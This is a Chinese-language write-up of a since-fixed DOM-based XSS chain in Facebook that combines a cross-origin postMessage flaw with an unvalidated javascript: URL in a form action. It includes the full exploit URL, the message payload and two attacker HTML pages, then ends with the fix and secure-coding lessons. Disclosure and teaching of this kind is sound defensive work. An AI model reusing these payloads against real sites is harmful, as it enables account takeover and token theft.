技术分享:如何使用postMessage利用Facebook中基于DOM的XSS漏洞
字数 1368 2025-08-15 21:32:52
利用Facebook中基于DOM的XSS漏洞的技术分析文档
漏洞概述
本漏洞组合利用了Facebook平台中的两个安全缺陷:
- 第一个漏洞允许攻击者从facebook.com域名通过postMessage发送跨域消息
- 第二个漏洞与第一个相关,允许根据EventListener接收的表单提交数据构造不安全脚本
这两个漏洞组合可导致基于DOM的XSS攻击,最终可能窃取用户访问令牌并接管Facebook账户。
漏洞技术细节
第一个漏洞:跨域postMessage消息发送
存在漏洞的端点:
https://www.facebook.com/payments/redirect.php
关键参数:
type参数:正常情况下为"i",若改为"rp"则会使用postMessage与打开该页面的窗口通信- 目标源设置为
our.intern.facebook.com(仅限Facebook员工访问)
绕过限制的方法:
- 访问
our.alpha.facebook.com/payments/redirect.php(不会重定向到www.facebook.com) our.alpha.facebook.com与www.facebook.com内容相同- 满足targetOrigin条件,消息可传递到打开的窗口
第二个漏洞:不安全的脚本构造
涉及组件:
- Facebook Canvas应用程序托管在
apps.facebook.com - 加载的iframe URL:
https://www.facebook.com/platform/page_proxy/?version=X
漏洞代码分析:
- 代码使用postMessage将带有frameName的消息发送到任何源
- 设置EventListener等待接收消息
- 收到满足条件的消息后,根据消息数据提交表单
关键缺陷:
submitForm()方法中,action属性直接设置为a.data.params.appTabUrlappTabUrl未验证是否以http/https开头,允许JavaScript协议
漏洞利用链
- 构造恶意Payload:
https://our.alpha.facebook.com/payments/redirect.php?type=rp&name=_self&params[appTabUrl]=javascript:alert(1);&params[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1
对应JSON对象:
{
"type": "rp",
"name": "_self",
"params": {
"appTabUrl": "javascript:alert(1);",
"signedRequest": "SIGNED_X"
},
"platformAppControllerGetFrameParamsResponse": "1"
}
- 攻击页面1(初始诱导页面):
<html>
<button class="button" onClick="
window.open('https://attacker/page2.html', '_blank');
document.location.href = 'https://our.alpha.facebook.com/platform/page_proxy/?version=X#_self';
">
<span class="icon">Start Attack</span>
</button>
</html>
- 攻击页面2(实际执行攻击):
<html>
<script>
setTimeout(function(){
window.location.href = 'https://our.alpha.facebook.com/payments/redirect.php?type=rp&merchant_group=86&name=_self&params[appTabUrl]=javascript:alert(1);&params[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1';
}, 3000);
</script>
</html>
漏洞修复方案
Facebook已采取以下修复措施:
- 移除了支付重定向(
/payments/redirect.php)中的postMessage组件 - 在
appTabUrl中添加了对http/https协议的检测
教学要点
-
postMessage安全:
- 必须严格验证消息来源和目标源
- 避免使用通配符(*)作为目标源
- 对接收的数据进行严格验证
-
URL处理安全:
- 所有动态设置的URL必须验证协议
- 禁止使用javascript:等危险协议
- 实施白名单机制限制允许的协议
-
防御措施:
- 实施内容安全策略(CSP)限制脚本执行
- 对用户提供的输入进行严格过滤
- 定期进行安全审计,特别是涉及跨域通信的组件
-
开发实践:
- 避免将用户控制的数据直接用于DOM操作
- 使用安全的API处理跨域通信
- 实施输入验证和输出编码
通过分析此漏洞案例,开发者应更加重视postMessage的安全使用和URL处理的潜在风险,以防止类似的XSS攻击发生。